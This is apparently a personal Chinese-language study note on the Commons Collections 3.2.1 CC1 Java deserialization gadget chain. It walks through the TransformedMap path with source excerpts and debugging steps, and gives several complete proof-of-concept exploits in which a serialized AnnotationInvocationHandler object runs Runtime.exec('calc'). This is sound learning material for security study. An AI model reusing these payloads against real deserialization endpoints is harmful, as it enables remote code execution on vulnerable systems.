CC1

Java学习

CC1

前面说过了URLDNS这条链,现在我们就可以开始学习Common-Collections利用链,这是反序列化学习中不可逃过的一关。

小的知识点

来补充一下之前一直遇到的一个知识点,JAVA基础,一直在忘记,就是数组问题,这里简单记录一下数组的初始化问题:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
//第一种 使用数组来表示“一组”int类型,然后再分开赋值即可
int[] ns = new int[5];
ns[0] = 68;
ns[1] = 66;
...
可以使用 数组变量.length 获取数组大小
//第二种 定义数组时直接指定初始化的元素,这样就不必写出数组大小,而是由编译器自动推算数组大小。
int[] ns = new int[]{12,23,24,45,45};
    
//第三种 还可以在第二步基础上进一步简写
int[] ns = {11,22,33,44,55};
//第四种  这里再简单讲讲字符串数组
String[] names = {"haha","quke","erqieha"};

暂时需要注意的就是这四个,现在就正式开始学习CC链。

Commons Collections

前置说明

Apache Commons是Apache软件基金会的项目,曾经隶属于Jakarta项目。Commons的目的是提供可重用的、解决各种实际的通用问题且开源的Java代码。Commons由三部分组成:Proper(是一些已发布的项目)、Sandbox(是一些正在开发的项目)和Dormant(是一些刚启动或者已经停止维护的项目)。

Commons Collections包为Java标准的Collections API提供了相当好的补充。在此基础上对其常用的数据结构操作进行了很好的封装、抽象和补充。让我们在开发应用程序的过程中,既保证了性能,同时也能大大简化代码。

由于大量的生产环境中都会导入这个包,所以此包中的众多反序列化链已经成为经典链条

学习路线:CC1 -> CC6 -> CC3 -> CC5 -> CC7 -> CC2 -> CC4 (其中CC2和CC4是common-collections4的利用链)

环境搭建

Apache Commons项目需要导入,所以我们在这里需要搭建环境,还是使用maven来导包,修改pom.xml即可,比如我这里要导一个cc3.2.1,加上如下:

1
2
3
4
5
<dependency>
      <groupId>commons-collections</groupId>
      <artifactId>commons-collections</artifactId>
      <version>3.2.1</version>
    </dependency>

再更新一下项目即可。

下载并且配置相应源码

因为JDK自带·的包里面有些文件是反编译的.class文件导致我们没法清楚看懂代码,为了方便调试,我们需要将它们转变为.java文件,这就需要我们安装响应的源码。

下载地址:https://hg.openjdk.org/jdk8u/jdk8u/jdk/rev/af660750b2f4

先原本jdk目录下的src.zip解压到当前目录,在链接中点击zip下载后解压,在/src/share/classes中找到sun文件,把其复制到原本jdk中src.zip的解压文件。

image-20240721000550724

最后再在idea中把src文件夹添加到原路径下即可:

image-20240721000648000

动态代理

主要内容就回去看动态代理笔记的内容,主要就是一个点:当我们调用某个动态代理对象的方法时,都会触发代理类的Invoke方法,并传递对应的内容。

正式分析

测试环境:

  • JDK 8u65
  • commons-collections 3.2.1

需要了解的类和接口

AbstractMapDecorator

在CC库中提供了一个抽象类org.apache.commons.collections.map.AbstractMapDecorator,这个类是Map的扩展,从名字来看,这是一个基础的装饰器,用来给map提供附加功能,被装饰的map存在该类的属性中,并且将所有的操作都转发给这个map。

这个类有很多实现类,各个类触发的方式不同,重点关注的是TransformedMap 以及LazyMap。

TransformedMap

org.apache.commons.collections.map.TransformedMap类可以在一个元素被加入到集合内时,自动对该元素进行特定的修饰变换,具体的变换逻辑由Transformer来定义,Transformer 在 TransformedMap 实例化时作为参数传入。可以简单看看这个类的定义:

image-20240722000418925

这个类继承了一个类和实现了一个接口。再看源码其实可以发现很多方法都实现了transform()方法

这里给一个示例利用代码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
package org.example;
import org.apache.commons.collections.map.TransformedMap;
import org.apache.commons.collections.Transformer;
import java.util.HashMap;
import java.util.Map;

public class Test {
    public static Transformer keyTransformer = new Transformer() {
        public Object transform(Object input) {
            int num = (int) input;
            num += 1;
            return (Object) num;
        }
    };

    public static Transformer valueTransformer = new Transformer() {
        public Object transform(Object input) {
            String str = input.toString();
            return str + "1";
        }
    };

    public static void main(String[] args) {
        HashMap<Integer, String> hashMap = new HashMap<>();
        hashMap.put(1, "a");
        System.out.println("初始化map:" + hashMap);

        // 创建TransformedMap
        Map map = TransformedMap.decorate(hashMap, keyTransformer, valueTransformer);
        map.put(2, "b");
        System.out.println("transformMap:" + map);
        map.put(1, "w");
        System.out.println("transformMap:" + map);
        map.remove(1);
        System.out.println("transformMap:" + map);
    }
}

运行后的输出结果:

1
2
3
4
初始化map:{1=a}
transformMap:{1=a, 3=b1}
transformMap:{1=a, 2=w1, 3=b1}
transformMap:{2=w1, 3=b1}

其实这里出现这个结果的原因还是和对象相关,可以来调试一下:

  • 这里首先了解一下匿名类是什么,可以参考这个文章,就是可以实现一个类中包含另外一个类,且不需要提供任何的类名直接实例化。主要是用于在我们需要的时候创建一个对象来执行特定的任务,可以使代码更加简洁。

  • 重要说明:首先在这串代码使用匿名类实现了Transformer接口,创建了一个对象,代码都使用匿名类实现了Transformer接口,创建了一个临时的类实例(即对象),并将这个类实例赋值给了keyTransformer和valueTransformer并都重写了transform()方法,这个是最重要的。(重要的是看代码,一看就懂了)

然后开始调试:

重要看后面的put那部分,第一个就是HashMap类的put方法,就是放入一对键值对,不多说。重点看后面。

然后调用

image-20240716160351313

跟进源码:

image-20240716160420770

即返回一个TransformedMap对象,并且此时的keyTransformer和valueTransformer对应自定义的匿名类。

然后加断点:

image-20240716101142675

然后现在来看对应的变量的值:

image-20240716155510991

重点看值,注意valueTransformer和keyTransformer的值为Test$2..Test$1..,相互对比到来看,可以很容易看出这种格式就是代表匿名类,而不是一个Test类实例。

在后续的map.put()中,调用的就是TransformedMap类的put方法:

image-20240716160032878

然后就会调用transformKey方法,源码如下:

image-20240716160152729

此时就会调用keyTransformer的transform方法,此时调用的就是匿名类的transform方法,那么就是

image-20240716160643025

valueTransformer.transformer()同理。逻辑是这样,并且在调试过程中也同样这这个过程。

继续看map.put()方法:

1
return this.getMap().put(key, value);

这个getMap对应TransformedMap的父类AbstractInputCheckedMapDecorator的父类AbstractMapDecorator的getMap()方法,源码为:

1
2
3
protected Map getMap() {
        return this.map;
    }

结合前面的实例化的描述,可以知道这里的map即HashMap类实例,所以这里会再调用HashMap的put方法放入一对修饰后的键值对。

后面那个同理

最后会调用HashMasp类的remove方法来去掉一个键值对。

代码分析结束,对于这一段示例代码就需要理解透彻,了解其中的运行过程与逻辑,后面会有用。

也就是说当 TransformedMap 内的 key 或者 value 发生变化时(例如调用 TransformedMap 的 put 方法时),就会触发相应参数的 Transformer 的 transform() 方法。

LazyMap

org.apache.commons.collections.map.LazyMap与TransformedMap类似,这个类触发transform()方法的点就在于调用get()方法时传入的key不存在,看一下get()方法的源码:

1
2
3
4
5
6
7
8
9
public Object get(Object key) {
        if (!super.map.containsKey(key)) {
            Object value = this.factory.transform(key);
            super.map.put(key, value);
            return value;
        } else {
            return super.map.get(key);
        }
    }

再看下面:

image-20240716170115691

可以知道LazyMap类继承于AbstractMapDecorator。

org.apache.commons.collections.map.DefaultedMap与LazyMap具有相同功能,同样是get()方法会触发transform 方法。

Transformer

org.apache.commons.collections.Transformer是一个接口类,源代码如下:

1
2
3
4
5
package org.apache.commons.collections;

public interface Transformer {
    Object transform(Object var1);
}

它提供了一个transform()方法,用来定义具体的转换逻辑。

在Commons Colection 项目中,程序提供了21个Transformer 的实现类,用来实现不同的对TransformedMap 中的 key/value 进行修改的功能

image-20240716095330668

重点关注几个实现类

InvokerTransformer

org.apache.commons.collections.functors.InvokerTransformer,这个实现类从 Commons Collections 3.0 引入,功能是使用反射创建一个新对象,来看一下它的transform方法源码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
public Object transform(Object input) {
        if (input == null) {
            return null;
        } else {
            try {
                Class cls = input.getClass();
                Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
                return method.invoke(input, this.iArgs);
            } catch (NoSuchMethodException var5) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
            } catch (IllegalAccessException var6) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
            } catch (InvocationTargetException var7) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
            }
        }
    }

重点就是try部分代码:

1
2
3
Class cls = input.getClass();
                Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
                return method.invoke(input, this.iArgs);

这里使用反射获取方法并使用invoke()方法调用这个方法,看看这里需要利用的几个参数:

1
2
3
private final String iMethodName;
    private final Class[] iParamTypes;
    private final Object[] iArgs;

赋值方法也在构造函数里面,如下:

1
2
3
4
5
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        this.iMethodName = methodName;
        this.iParamTypes = paramTypes;
        this.iArgs = args;
    }

尝试自己构造,测试代码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
package org.example;
import org.apache.commons.collections.functors.InvokerTransformer;
import java.lang.Runtime;

public class Test {
    public static void main(String[] args) {
        InvokerTransformer x = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
        x.transform(Runtime.getRuntime());
    }
}

成功弹出计算机: image-20240717101316796

ChainedTransformer

org.apache.commons.collections.functors.ChainedTransformer类也是Transformer的实现类,关键源码如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
 public ChainedTransformer(Transformer[] transformers) {
        this.iTransformers = transformers;
    }

    public Object transform(Object object) {
        for(int i = 0; i < this.iTransformers.length; ++i) {
            object = this.iTransformers[i].transform(object);
        }

        return object;
    }

这里的重点就是这个类自己维护了一个Transformer数组,在调用ChainedTransformer的transform方法时,会循环数组,依次调用 Transformer 数组每个 trandform方法,并将结果传递给下一个 Transformer。

这样就给了使用者链式调用多个 Transformer 分别处理对象的能力。

ConstantTransformer

org.apache.commons.collections.functors.ConstantTransformer是返回一个固定常量的Transformer,在初始化时储存了一个Object,后续的调用会直接返回这个Object。关键源码如下:

1
2
3
4
5
6
7
public ConstantTransformer(Object constantToReturn) {
        this.iConstant = constantToReturn;
    }

    public Object transform(Object input) {
        return this.iConstant;
    }

这个类用于和ChainedTransformer配合,将其结果传入InvokerTransformer来调用我们指定的类的指定方法。

攻击构造

CC1这里有两条链可以利用,分别是利用TransformedMap类和LazyMap类,现在来分别说明一下。

TransformedMap链
基本本地代码

这里就结合到前面知识点,来构造反序列化的恶意利用代码。现在我们构造的最终的利用点,就是Runtime.getRuntime().exec("calc"),在这里使用TransformedMap 触发,本地demo如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
package org.example;

import org.apache.commons.collections.map.TransformedMap;
import java.lang.Runtime;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.Transformer;
import java.util.HashMap;
import java.util.Map;

public class Test {
    public static void main(String[] args) {
        ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})                                                             });
        HashMap hashMap = new HashMap();
        Map map2 = TransformedMap.decorate(hashMap,chain,null);
        map2.put(10,"xxx");
    }
}

说明一下这串代码的作用,先说后面的利用代码:

1
2
3
HashMap hashMap = new HashMap();
        Map map2 = TransformedMap.decorate(hashMap,chain,null);
        map2.put(10,"xxx");

这部分代码只要理解到了前面在TransformedMap类部分给的示例代码基本就可以理解了。所以链子起始点就是

image-20240720144155815

现在来看流程,打断点如下:

image-20240720144236280

然后就继续跟进,由于我们传入的keyTransformer就是ChainedTransformer类对象,所以这里调用的transform()方法时,调用的就是ChainedTransformer类的transform()方法,如下:

image-20240720145035782

现在来看我们给ChainedTransformer类传入的数组:

1
2
3
4
5
6
ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})                                                             });
//注意理解

1.然后现在就是调用的传入的数组第一个参数的transform方法,即ConstantTransformer类的transform()方法(此时的object为10):

image-20240720145529718

这里的transform方法会直接返回我们实例化时定义的Runtime.class,所以这里的10最终是没用的,这步过后object的值变为了Runtime对象,即class java.lang.Runtime

2.然后现在调用的就是数组第二个值的类实例化对象,也就是

1
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null})

继续跟进

image-20240720150016864

注意看input.getClass()这一步过后的cls的值,居然变成了Class对象,这也是最开始没想通的(这里的Input不是一个类的实例化对象),也就是对任何类的class对象使用getClass()方法时都会返回class java.lang.Class

然后这里调用getMethod()方法获取Class对象getMethod()方法并在return的地方使用invoke()方法来获取Runtime类的getRuntime()方法(getRuntime方法为静态方法)

所以现在的object变为Runtime里面的getRuntime()方法。

3.继续,现在到了第三个值的类实例化对象,也就是:

1
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null})

还是进入InvokerTransformer类的transform方法

image-20240720155956708

这里需要注意的同样的是getClass()那里,由于我传入的是一个getRuntime()方法的class对象,所以这里返回的是class java.lang,reflect.Method,然后使用反射获取Method类中的invoke方法,最后再在return部分调用invoke方法来利用反射获取的invoke()方法,形如:

1
2
3
4
Method f = Runtime.class.getMethod("getRuntime");
Runtime r = (Runtime) f.invoke(null);
r.exec("calc");
//这样就可以直接执行方法从而获取Runtime类的实例化对象,还是和这个方法是static有关

所以在这里应该就是相当于直接执行getRuntime()方法注意理解对比反射的知识点,这里的的用法需要理解记忆

所以在这一步后可以获取到new Runtime的实例。

即现在的object的值为Runtime类的实例

4.现在就到了数组的最后一个值,即:

1
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})

然后后面就是获取Runtime类的exec方法,并在invoke时传入calc弹出计算机。

5.总结

最后简单总结一下chain链中的流程:

  • 使用ConstantTransformer的transform方法返回Runtime.class
  • 再在InvokerTransformer的transform方法获取getMethod方法并利用获取getRuntime()方法
  • 再在InvokerTransformer的transform中获取invoke方法来调用getRuntime()方法从而获取到Runtime类实例。
  • 最后还是在InvokerTransformer的transform方法获取到exec方法并传入calc弹出计算机

分析结束。

其实还可以更简单,结合getRuntime()方法的特性,可以如下构造:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
package org.example;
import org.apache.commons.collections.map.TransformedMap;
import java.lang.Runtime;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.Transformer;
import java.util.HashMap;
import java.util.Map;

class Test{
    public static void main(String[] args){
        ChainedTransformer chain = new ChainedTransformer(new Transformer[]{new ConstantTransformer(Runtime.getRuntime()),new InvokerTransformer("exec" , new Class[]{ String.class },new Object[]{"calc"}) });
        HashMap hashMap = new HashMap();
        Map ctf =TransformedMap.decorate(hashMap,chain,null);
        ctf.put(10,"xxx");
    }
}

同样成功弹出计算机

image-20240720165342215

综上第二种的简化代码更简洁,第一种偏技巧性,都要理解学习利用。

但是第二种代码本身在具体的运用中并没有用,这是因为Runtime类并没有实现Serializable接口,而解决方法就是第一种,所以在实际运用中还是使用的第一种。

实际利用

上面的代码只是一个用来在本地测试的类,并且是我们通过构造代码来启用第一个transform()方法继而实现的链子。在实际反序列化漏洞中,我们需要它的readObject代码逻辑中有类似Map.put方法的操作。

在这里可以利用到的类就是sun.reflect.annotation.AnnotationInvocationHandler

现在来看这个类的readObject()方法(需要注意的是这是8u71以前的代码,8u71以后做了一些修改,这个后面再说):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        s.defaultReadObject();

        // Check to make sure that types have not evolved incompatibly

        AnnotationType annotationType = null;
        try {
            annotationType = AnnotationType.getInstance(type);
        } catch(IllegalArgumentException e) {
            // Class is no longer an annotation type; time to punch out
            throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
        }

        Map<String, Class<?>> memberTypes = annotationType.memberTypes();

        // If there are annotation members without values, that
        // situation is handled by the invoke method.
        for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
            String name = memberValue.getKey();
            Class<?> memberType = memberTypes.get(name);
            if (memberType != null) {  // i.e. member still exists
                Object value = memberValue.getValue();
                if (!(memberType.isInstance(value) ||
                      value instanceof ExceptionProxy)) {
                    memberValue.setValue(
                        new AnnotationTypeMismatchExceptionProxy(
                            value.getClass() + "[" + value + "]").setMember(
                                annotationType.members().get(name)));
                }
            }
        }
    }

重点关注foreach语句。在这里Map.Entry<String, Object> memberValue : memberValues.entrySet()用于遍历Map,可以参考这个文章,而String name = memberValue.getKey();语句和Object value = memberValue.getValue();语句用于获取键值对。

image-20240721143009475

这里的重点就是这个setValue()方法了,这里简单给出这个调用链:

1
AnnotationInvocationHandler#readObject() ==> AbstractInputCheckedMapDecorator$MapEntry#setValue() ==>TransformedMap#checkSetValue

在TransformedMap这里就可以启动前面构造的调用链

image-20240722141710098

同时在这里可以看出是利用的valueTransformer,所以在调用decorate()方法初始化时要不同于前面的基本代码,需要改位置,如下:

1
Map map2 = TransformedMap.decorate(hashMap,null,chain);

这样才能保证成功调用。现在就围绕这条链子来进行阐述。

1.现在来看memberValues的赋值点:

image-20240721143312438

这里由于AnnotationInvacationHandler属jdk内部类,无法直接引用且被实例化,所以只能利用反射获取构造方法,将修饰过的Map添加进去。

注意看AnnotationInvacationHandler的构造方法,简单说明一下参数问题

  • 对于第一个参数Class<? extends Annotation> type,简单说明一下:形如**<? extends Collection>** 这里**?代表一个未知的类型,但是,这个未知的类型实际上是Collection**的一个子类,Collection是这个通配符的上限。

  • 同时看这个构造方法里面的 if 语句代码,这里只要满足任何一个条件就会进入到if语句,导致不能正常赋值。这里重点关注!type.isAnnotation()代码,这里的isAnnotation()函数就是用来判断Class对象是否是表示一个注解类型。所以这里需要一个传入一个注解类型的Annotation。也就是下图中有@的类:

image-20240721163908857

选择上面的任意一个注解类型的类应该都是可以的

所以可以构造代码如下:

1
2
3
4
5
Class clazz = Clas.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor1 = clazz.getDelaredConstructor(Class.class,Map.class);
constructor1.setAccessible(true);
constructor1.newInstance(Rention.class,ctf);
//ctf即构造好的TransformedMap

现在解决了memberValues值的问题。

2.继续看readObject()方法的源码

为了方便学习,我们尝试直接拼接一下前面的总结出来的代码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
package org.example;

import org.apache.commons.collections.map.TransformedMap;
import java.lang.Runtime;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.Transformer;
import java.util.HashMap;
import java.util.Map;
import java.lang.reflect.Constructor;
import java.lang.annotation.Retention;
import java.lang.Class;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.FileOutputStream;
import java.io.FileInputStream;

public class Test {
    public static void main(String[] args) throws Exception {
        ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})                                                             });
        HashMap hashMap = new HashMap();
        Map map2 = TransformedMap.decorate(hashMap,null,chain);
        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor1 = clazz.getDeclaredConstructor(Class.class,Map.class);
        constructor1.setAccessible(true);
        Object o = constructor1.newInstance(Retention.class,map2);
        //序列化
        serialize(o);
        //反序列化
        unserialize();
    }
    public static void serialize(Object o) throws Exception {
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
        out.writeObject(o);
        out.close();
    }

    public  static void unserialize() throws Exception {
        ObjectInputStream o = new ObjectInputStream(new FileInputStream("ser.ser"));
        o.readObject();
        o.close();
    }
}

再打断点调试发现是在readObject()地方出现问题,现在来跟一下readObject()的源码,打断点如下:

image-20240722153629967

先来看这两串代码:

1
2
3
annotationType = AnnotationType.getInstance(type);

Map<String, Class<?>> memberTypes = annotationType.memberTypes();

简单看看结果:

image-20240722155024311

第一行代码将annotationType被赋值为了AnnotationType实例,所以第二行代码就会调用AnnotationType类的memberTypes()方法:

image-20240722155410345

所以最终readObject()方法里面的memberTypes为HashMap类的实例。

这里还要说明一个点,关于for (Map.Entry<String, Object> memberValue : memberValues.entrySet())这个循环遍历的代码问题,在打断点过程中,我发现如下打断点会直接结束:

image-20240722155836575

那就说明在我上面拼接的代码在反序的时候并没有成功进入到这个for语句中,我猜测是这个循环遍历的问题,去查看前面给的文章的举例代码,直接看测试代码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
import java.util.Map;
import java.util.HashMap;
public class reflect {
    public static void main(String[] args) throws Exception {
        Map<Integer, String> map = new HashMap<>();
        map.put(1, "value1");
        map.put(2, "value2");
        map.put(3, "value3");
        map.put(4, "value4");
        map.put(5, "value5");

        for (Integer key : map.keySet()) {
            System.out.println("key: " + key + "  value: " + map.get(key));
        }
        System.out.println();

        for (Map.Entry<Integer, String> entry : map.entrySet()) {
            System.out.println("成功进入循环遍历");
            System.out.println("key: " + entry.getKey() + "  value: " + entry.getValue());
        }
    }
}

成功输出

image-20240722160534907

但是当我使用如下代码测试:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
import java.util.Map;
import java.util.HashMap;
public class reflect {
    public static void main(String[] args) throws Exception {
        Map<Integer, String> map = new HashMap<>();


        for (Integer key : map.keySet()) {
            System.out.println("key: " + key + "  value: " + map.get(key));
        }
        System.out.println();

        for (Map.Entry<Integer, String> entry : map.entrySet()) {
            System.out.println("成功进入循环遍历");
            System.out.println("key: " + entry.getKey() + "  value: " + entry.getValue());
        }
    }
}

却什么都没有,这个结果那就确实说明了*我们需要向Map中键入至少一对键值对才能成功进入到这个for循环。*后续有个问题,直接讲了:

image-20240722161806463

这里看readObject()源码,可以知道需要将这个值设置为String那么测试代码就可以改成如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
package org.example;

import org.apache.commons.collections.map.TransformedMap;
import java.lang.Runtime;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.Transformer;
import java.util.HashMap;
import java.util.Map;
import java.lang.reflect.Constructor;
import java.lang.annotation.Retention;
import java.lang.Class;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.FileOutputStream;
import java.io.FileInputStream;

public class Test {
    public static void main(String[] args) throws Exception {
        ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})                                                             });
        HashMap hashMap = new HashMap();
        hashMap.put("ceshi","value1");
        Map map2 = TransformedMap.decorate(hashMap,null,chain);
        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor1 = clazz.getDeclaredConstructor(Class.class,Map.class);
        constructor1.setAccessible(true);
        Object o = constructor1.newInstance(Retention.class,map2);
        //序列化
        serialize(o);
        //反序列化
        unserialize();
    }
    public static void serialize(Object o) throws Exception {
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
        out.writeObject(o);
        out.close();
    }

    public  static void unserialize() throws Exception {
        ObjectInputStream o = new ObjectInputStream(new FileInputStream("ser.ser"));
        o.readObject();
        o.close();
    }
}

再调试成功进入for循环,但是并没有成功弹出计算机,那么继续打断点,如下打断点时会直接退出

image-20240722162106738

说明并没有进入这个if条件,那么现在重点关注memberType的赋值语句:

image-20240722162221416

再在if语句打一个断点,此时值的情况为:

image-20240722162417339

那么现在看一下这个调用的get方法,前面已经说过了memberTypes为HashMap类实例,那现在就看HashMap类的get方法,源码如下:

1
2
3
4
public V get(Object key) {
        Node<K,V> e;
        return (e = getNode(hash(key), key)) == null ? null : e.value;
    }

那现在再如下打断点:

image-20240722162852352

调试跟进,发现最终其作用的点就是getNode()方法,这个方法会在哈希表中查找对应的节点,如果相匹配就会返回对应的节点,比如如果匹配到我设置的ceshi键和值value1,那么就会返回对应节点,否则就会返回null。

后续的如何匹配就是注释相关技术了,在这里想要成功通过的条件为

  • sun.reflect.annotation.AnnotationInvocationHandler构造函数的第一个参数必须是Annotation的子类,且其中必须含有至少一个方法,假设方法名是X
  • 那么被TransformedMap.decorate修饰的Map中必须有一个键名为X的元素

所以在这里我们需要将键设置为value,因为注解类有名为value的方法: image-20240722164951400

所以最终的可利用的POC:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
package org.example;

import org.apache.commons.collections.map.TransformedMap;
import java.lang.Runtime;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.Transformer;
import java.util.HashMap;
import java.util.Map;
import java.lang.reflect.Constructor;
import java.lang.annotation.Retention;
import java.lang.Class;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.FileOutputStream;
import java.io.FileInputStream;

public class Test {
    public static void main(String[] args) throws Exception {
        ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})                                                             });
        HashMap hashMap = new HashMap();
        hashMap.put("value","xxx");
        Map map2 = TransformedMap.decorate(hashMap,null,chain);
        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor1 = clazz.getDeclaredConstructor(Class.class,Map.class);
        constructor1.setAccessible(true);
        Object o = constructor1.newInstance(Retention.class,map2);
        //序列化
        serialize(o);
        //反序列化
        unserialize();
    }
    public  static void serialize(Object o) throws Exception {
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
        out.writeObject(o);
        out.close();
    }

    public  static void unserialize() throws Exception {
        ObjectInputStream o = new ObjectInputStream(new FileInputStream("ser.ser"));
        o.readObject();
        o.close();
    }
}

成弹出一个计算机。

现在来看一下setValue()方法后续调用的方法的源码:

image-20240722232359289

然后就是TransformedMap类的checkSetValue()方法: image-20240722232448120

由于我们前面就将valueTransformer设置为了chain链,所以后续都会往预估方向发展,具体过程可以参考前面的基础代码部分。

——————————

然后总结一下前面的问题:

  • 还是要注意一下Runtime类不能实例化的问题
  • 反射获取AnnotationInvocationHandler
  • 进入for循环的需要put键值对的问题
  • if条件的进入条件

在拉通整个过程时的调试过程中遇到的问题:

暂时对于很多都是初步了解吧,跟源码其实还有点看不懂,后面再来看看,简单给出示例代码,也许可以在调试过程中更容易理解:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;

public class Main {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.getRuntime()),
                new InvokerTransformer("exec", new Class[]{String.class},
                        new Object[]{"calc"}),
        };
        Transformer transformerChain = new ChainedTransformer(transformers);

        Map<String, String> innerMap = new HashMap<>();
        innerMap.put("value", "xxx");
        Map<String, String> outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

        try {
            for (Map.Entry<String, String> entry : outerMap.entrySet()) {
                System.out.println("成功进入循环遍历");
                System.out.println(entry);
                System.out.println("key: " + entry.getKey() + "  value: " + entry.getValue());
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

打断点如下:

image-20240722231513859

看此时的值: image-20240722231605379

然后再看上面的实例代码给出的结果:

image-20240722231653896

